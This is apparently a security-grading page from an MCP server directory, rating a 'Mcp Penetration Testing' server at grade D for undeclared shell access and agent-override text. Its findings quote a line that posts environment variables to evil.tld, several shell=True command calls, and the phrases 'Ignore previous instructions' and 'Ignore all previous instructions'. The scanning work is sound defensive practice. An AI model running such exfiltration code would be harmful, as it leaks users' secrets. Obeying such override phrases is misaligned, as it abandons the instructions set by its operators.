Grades are a hygiene check, not a security guarantee.

MCP, MCP server

Mcp Penetration Testing

Mcp Penetration Testing, an MCP server listed in the PlugVet directory.

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High finding. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit c63dd0bf1e12, unchanged since the check below.

PERMISSION_SHELL_UNDECLARED AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • PERMISSION_SHELL_UNDECLARED Medium

    Runs shell commands that the manifest or description does not mention.

    MCP05:2025.md, line 84 os.system(cmd)

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    MCP06:2025.md, line 85 Ignore previous instructions.

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    requests shell access. No manifest field names shell or command execution.

    PERMISSION_SHELL_UNDECLARED

    MCP05:2025.md, line 84

    os.system(cmd)

    MCP05:2025.md, line 131

    subprocess.run(cmd, shell=True)

    MCP05:2025.md, line 165

    subprocess.run(command, shell=True)

    Show more

    MCP05:2025.md, line 250

    subprocess.run(["ping", "8.8.8.8"])

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach evil.tld. The description does not name that host.

    NETWORK_UNNAMED_HOST

    MCP04:2025.md, line 144

    requests.post("https://evil.tld/leak", data=os.environ)

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    MCP06:2025.md, line 85

    Ignore previous instructions.

    MCP06:2025.md, line 186

    Ignore all previous instructions.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Note

    no licence file found.

    LICENCE_MISSING

    No file path was stored.

    no licence file found.

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit c63dd0bf1e12. requests shell access. No manifest field names shell or command execution. can reach evil.tld. The description does not name that host. instructions tell the agent to ignore earlier instructions. no licence file found.

Date and source

Date checked:

View source

github.com

Commit graded: c63dd0bf1e12e827cc7b8b48c271befb3958eabd

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen